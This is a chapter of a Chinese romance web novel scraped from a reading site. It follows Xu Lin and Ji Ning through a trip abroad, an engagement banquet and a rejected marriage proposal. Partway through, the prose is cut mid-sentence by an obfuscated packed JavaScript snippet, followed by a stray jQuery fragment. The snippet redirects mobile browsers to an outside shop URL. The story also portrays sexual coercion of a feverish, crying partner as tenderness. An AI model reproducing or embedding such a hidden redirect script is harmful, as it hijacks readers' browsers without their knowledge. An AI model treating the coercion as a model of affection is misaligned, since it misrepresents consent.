文趣网 > 都市小说 > 老婆是我前嫂子 > 24. 和你结婚
    许霖从没在他和季柠的感情里发过这么大的火,他舍不得凶季柠,更舍不得用外界条件苛待他,只能用这种让两个人最亲密、最原始的方式来发泄他的不满。

    许霖说话算话,说不做到底就没做到底。只不过季柠的腿心和手心遭了殃,尤其是白嫩的腿肉,红成一片,哪怕只是单纯接触空气都火辣辣的痛。

    季柠仰躺在床上,泪水干涸在脸侧,身上脏兮兮的,薄薄的胸腔起伏微弱,像只坏了的漂亮仿真人偶。

    许霖穿好衣服,同样躺在床上,把季柠拥在怀里,在季柠脸上一下又一下的轻吻。

    “我真的,真的没有…”季柠还记得一开始许霖的质问,嘴里喃喃不停。

    “我知道。”许霖打断了季柠气若游丝的解释,“我相信你。”

    季柠一哽,不说话了,一闭眼睛,更大颗的泪水从眼睛里冒了出来,打湿了许霖的心。

    许霖和他额头贴额头,吻上季柠的唇,过了会儿又缓缓上移,吻掉季柠的泪,手臂从怀里人的腿窝和后背环过将人横抱去浴室。

    医院病房,许衍坐在病床边,一手握着安静的手机,一手捂住腹部绷裂的伤口,胸口剧烈起伏。

    和几个月前在瑞士木屋无意间听到的那次不同,或许是心境发生转变,上次的淡定与兴奋完全被暴怒取代,他忘记了腹部的疼痛,在病床上突然坐起,哪怕伤口骤然崩开都掩盖不了心中想冲进季柠家给许霖一刀的冲动。

    但他以什么立场呢?

    季柠的朋友?季柠的邻居?还是那个爱上亲哥老婆的小叔子?

    他没有资格。

    无论许霖和季柠的关系是金I主情人,还是正常的恋爱关系,许霖都可以名正言顺地做这种事。

    妒火在心口燃烧,同时许衍又无比心疼季柠。许霖不可能不知道季柠在发烧,这个该死的傻逼丝毫不顾季柠的感受,哪怕季柠的都哭了都没停手。

    情绪翻涌到极限,也许就是这时,许衍才僵硬着身体挂断了电话。

    许霖把季柠洗干净后从浴室里抱了出去,又给季柠找了两片药吃,季柠心里委屈,嘴巴紧紧闭着,说什么都不肯张嘴吃药。

    许霖怨气发完了,依旧对季柠耐心十足,不停哄着:“刚给你量了温度,比上午热些,把药吃了,不然半夜该难受了。”

    季柠不说话,也不看他,就这么坐着。

    许霖向来对这样的季柠没办法,除了特定情况,他从来舍不得对季柠来硬的。但这药不吃绝对不行,许霖只好骗他:“美国的针头比国内粗得多,药效慢,你要是发烧了最少得打两针。”

    季柠闻言,偷瞄许霖一眼,见他并没有开玩笑的意思,嘴巴终于松动了些。

    许霖见这么说有效,哪怕心里已经被季柠这小模样逗得不行,面上依旧正经:“吃吧,打针多痛。”

    许霖把台阶伸到季柠脚边,并额外警告掉下去的危险,季柠不好不踩,这才把嘴张开了点,伸手拿药。

    而许霖却绕过季柠的手,直接把药喂到了他嘴里。

    紧接着冰凉的杯口贴在嘴唇,季柠动也不是不动也不是,只好留着许霖的手吞了一口温水,把药咽了下去。

    —

    季柠的低烧完全是昨天晚上在浴室待了太久着凉导致的,并不严重,但今天许霖又折腾他了一顿,季柠情绪失控,加上皮肤发炎,拖拖拉拉过了两天才好利索。

    许霖这次来推掉了好几个工作,准备在这多陪季柠一段时间,他给季柠请了假,带季柠在美东玩了一周,也好让他散散心。

    期间季柠背着许霖和许衍联系,许衍说他伤口愈合的差不多,已经出院了,每天一个人玩游戏,无聊得要死。

    季柠倍感愧疚,虽然许衍的刀伤不是自己导致的,但加重却和自己有直接联系。

    他告诉许衍说自己明天再陪许霖参加一个晚宴就会回N市,许霖后天的飞机,等许霖走了他一定补偿许衍。

    “在干什么?”许霖从浴室里出来,头发半干,边擦头发边往季柠那边走,季柠看他过来立马熄灭手机,“没什么。”

    “你这几天一直在看手机,在学校交到朋友了?”

    许霖挨着床沿坐下,手放在季柠的大腿上,有一下没一下的摩挲着。

    “在玩游戏。”

    许霖捏了他腿肉一把,说:“少玩游戏,当心近视。”

    见许霖没起疑,季柠松了口气,他关上了自己那边的灯,把腿抽出来,说要睡觉。

    两个人从早到晚在一起待了一周,许霖几次想碰他,季柠都以旅行太累为由拒绝,许霖心底也舍不得季柠一路上都挺着酸痛的腰去玩,就一直没碰他。

    但今天是行程的最后一天,明天参加完晚宴两个人会返程,许霖从进浴室那一刻就决定绝不能让季柠再找理由躲他。

    “小柠。”

    季柠眼皮动了动,心道不好。

    “明天的晚宴很轻松。”

    季柠决定装睡。

    许霖哪里猜不出他这点小伎俩,眼神一暗,把最后一盏灯关上,挑起被子压了下去。

    ……

    季柠浑身散架子了似的,一根手指都抬不起来。

    许霖从后抱着他,要不是季柠哭闹的太厉害,或许现在都没结束。

    一想到自己这次离开,可能又要很长一段时间见不到人,许霖心里就紧得厉害,抱着季柠的力度也大了几分。

    他想和季柠说说话,思考了许久才找到合适的话头开口:“你姑姑最近病情有好转,医生说日后清醒的时间可能会变长。”

    季柠缓缓睁开了眼睛。

    他已经很久没见过这个把他养大的女人了,上次见面还是出国前,那天许霖问她能不能把自己送出国,她说季柠开心就好,没过多久又沉沉睡去。

    其实那天他还有话想和姑姑说,但没有机会,女人消瘦的脸颊便成为他离开前对她的最后记忆。

    许霖的话像石头子,掀起了记忆的涟漪,后来许霖再说什么,季柠都没有再听。

    许霖抱着他,说等季柠放假后带他去小岛旅行,说如果季柠不想在国外念书了也没关系,反正许成峰已经去世。

    还说上个月他在香港拍卖会上拍下了一颗粉钻,晶莹剔透的浅粉色钻石在灯下闪闪发光,季柠戴上一定非常漂亮。

    “等我们结婚的时候,我再把我妈留给我的那对翡翠镯子给你戴上,好不好?”

    房间里安静无声,季柠已经睡着了。

    季柠一觉睡到中午才起,此时许霖已经穿戴整齐,正对着镜子打领带。他看见季柠醒了,走过去揉了把季柠的头发,说:“去吃午餐吧,两个小时后出发。”

    季柠对付着吃了几口面包便回房间换上提前准备好的西装,一切妥当后,许霖牵着他下楼。

    从他们居住的酒店到宴会所在的古堡差不多三小时的路程,季柠睡了一路,醒来后发现窗外的景色和出发是已经截然不同。

    古堡占地面积极大,白灰色的外壁配上雕刻精致的堡顶,和西方古典电影里的建筑很像。黑色林肯穿过树木林立的小道,驶入古堡院子,车子停稳后司机下车给他们开门,许霖牵着季柠下车。

    古堡主人是许霖刚进入许氏工作时第一位合作方,两人关系一直不错,他听说许霖在A国后立马发出邀请,请许霖来参加他和他妻子的订婚宴。

    “Lin,好久不见。”留着一圈络腮胡的美国男人向许霖伸出手,热情地笑着。

    许霖礼貌回握,“恩利先生,新婚快乐。”

    恩利牵起一旁妻子的手,在嘴边吻了一下,笑着说道:“谢谢,我属实没想到你会从那么远的地方过来,等我下次去中国一定要再给你牵头几个项目。”

    许霖浅笑,紧紧握着季柠的手,看着人说:“带他出来转转,后天我就要回国了。”

    恩利抬了下眉,目光从季柠的脸上划过,打趣道:“这位是你的男朋友?”

    “嗯。”许霖说,“在一起快一年了。”

    “竟然都这么久了?我还记得当初我想把我姑妈家的妹妹介绍给你,你头都没抬,说自己现在乃至未来都没有恋爱的打算。”恩利一脸调侃,“当时我内心感到无比可惜,如此优秀的东方帅哥竟然要单身一辈子!”

    许霖在外从不多言,所以只是淡淡的笑笑,恩利了解他的性格,拍了拍他的肩膀,招呼其他客人去了。

    古堡里面灯火明亮,大大小小的桌台上摆放了各种各样的餐食,许霖夹了一点东西,牵着季柠坐在一处并不显眼的沙发上。

    这次的宴会不需要应酬,除了恩利外,许霖和其他宾客许霖并不相熟,鲜少能一直陪着季柠。

    季柠用叉子一小点一小点的挖蛋糕吃,许霖就这么一直看着他,仿佛透过今天看到了曾经季柠陪他出席各个宴会时的样子。

    季柠气质太干净,在名利场中显得格格不入,只有自己相处时才能自在些,所以每次等许霖应酬完,一定能在某个安静的角落找到他。

    空气里弥漫着淡淡的玫瑰花香,角落里的钢琴曲悠悠传来,订婚仪式即将开始。

    恩利带着他的妻子走上大堂中央的台子,所有人的目光齐齐向他们看去,季柠也不例外。

    他头一次参加外国人的订婚宴,还是在古堡里,见什么都好奇,哪怕手里的小蛋糕再好吃也还是放了下来。

    恩利的英语口音浓厚,叽里呱啦说了一堆季柠也没太听懂,别人鼓掌的时候他鼓掌,别人安静的时候他安静,逗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920350|213440||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得许霖那张冷脸破天荒的在除了公寓以外的地方挂笑挂了这么久。

    恩利说到最后,抱着他的未婚妻拥吻了许久,季柠不好意思看他们,终于拿起蛋糕接着吃。

    许霖凝视着台上,那心思再次蠢蠢欲动。

    订婚仪式结束后,恩利强烈邀请他们就住在这,楼上的房间可以随便挑,许霖倒是无所谓,反正有季柠在,他住哪都可以,

    他扭头用中文小声询问季柠的意见,季柠打量着周围中世纪风格的墙面和楼梯,小幅度的摇了摇头。

    “不好意思,他可能想回家了。”

    恩利只好略感遗憾地送别许霖和季柠,临走前还不忘打趣:“回去照顾小baby去吧,年轻的父亲。”

    这几个简单的单词季柠听懂了,表情变得不怎么好。

    季柠的模样和身高在外国人眼里的确和小孩没差,恩利看见他这样哈哈直笑,让许霖回去可得好好哄着。

    许霖带着季柠离开了这儿,上了那辆送他们来的车。

    “今天开心吗?”

    季柠嗯了一声。

    在外面许霖不能对他动手动脚,还要小蛋糕吃,季柠当然开心。

    车窗开了一半,晚风吹进车厢,吹起了季柠的头发,许霖抬手一点一点帮他把头发捋顺,道:“他们很幸福。”

    季柠不明所以,盯着他看,没答话。

    许霖把手放在了季柠的颈窝,指腹摩挲着那颗小巧的喉结,说出了从在订婚宴现场就一直想说的话:

    “我也想和你结婚。”

    季柠淡淡地回望他,神色明显不如刚才愉悦,他往后躲了一下,推开许霖放在自己身上的手,说:“我不想。”

    “为什么?结了婚,无论是你还是我做什么都名正言顺,也没有人会在背后议论是非,以后我的东西也是你的,有什么不好?”

    “许霖,你还没弄清楚我们的关系吗?”

    季柠那双眼睛长得纯良无害,看谁都是一副软软的样子,但他要是不高兴或是生气了,情绪好似也一同被放大,让人心里直颤。

    “我们是正常的恋爱关系。”许霖只是看了季柠的眼睛一眼,便垂下目光。

    “这只是你以为。”季柠冷声说。

    其实这几天和许霖的相处还算愉快,比起在国内那时候好得多,许霖要是想摸摸手,或者抱抱他,季柠只要心情不是太差都会默许。

    或许是自己的纵容让许霖多出了那些不切实际的幻想,季柠把手从许霖的手里抽出来,望向窗外:“我不会和你结婚,永远不会。”

    窗外昏黄的路灯打在季柠的侧脸上,镀上了一层金光,透出一种神性。许霖望着他,直到眼眶酸涩,才终于把想说的那些话咽了下去。

    这一路上都没有人再说话。

    晚上睡觉时,季柠背对着许霖,没一会儿平稳的呼吸声便传来,许霖往他那头挪了挪,把手轻轻地搭在他肩上,他等了几秒,确认季柠没有任何反应后,才敢放开手脚,轻轻抱住他。

    明天上午他们就要分别,下次见面不知道是什么时候了,许霖的工作积压太多,许成峰又刚去世,这次他专程来N国处理季柠的事已经引起很多许家长辈不满,他顶着压力,不想到最后分别时和季柠闹得不愉快。

    季柠的骨架小,远不如同龄人体格那般壮硕,许霖的身体罩着他,从远处看根本看不出床上有两个人。

    一宿许霖都没合过眼,试图把黑夜拉长,可太阳还是照常升起。

    时间比较紧迫,闹钟一响许霖就要收拾东西准备走了,季柠迷迷糊糊地被穿好鞋袜,上车时眼睛还是闭着的。

    到了机场,许霖叫醒眯着的季柠,没等季柠完全把眼睛睁开,男人的唇便吻了上来。

    “那些事情我都处理好了,以后也会有专人在学校里保护你,记得,无论发生什么,第一时间和我打电话,不要瞒着我。”

    说完,许霖贴着季柠的脸蛋吻了一口。

    季柠手指蜷缩,看着许霖下了车,许霖站在车外,到车门合上那一刻,季柠都没有说话。

    只有自己知道自己现在有多狼狈,许霖转过身,对助理说了声走吧。

    机场环境嘈杂,或许季柠对他说了那句简单的告别呢?

    看着许霖的身影越来越远,季柠垂下眼,让司机开车。

    到了公寓后,季柠接着补觉,晚上他答应了许衍一起玩游戏,两个人这么久没玩,肯定要玩到后半夜去。

    一周的旅行极其疲惫,哪怕一直住的都是最好的酒店也没有家里舒适。季柠抱着暄软的被子,很快就睡了过去。

    他在梦里再次见到了刚刚分别的许霖,以及他重病不起的姑姑。

    但与其说是梦,不如是回忆。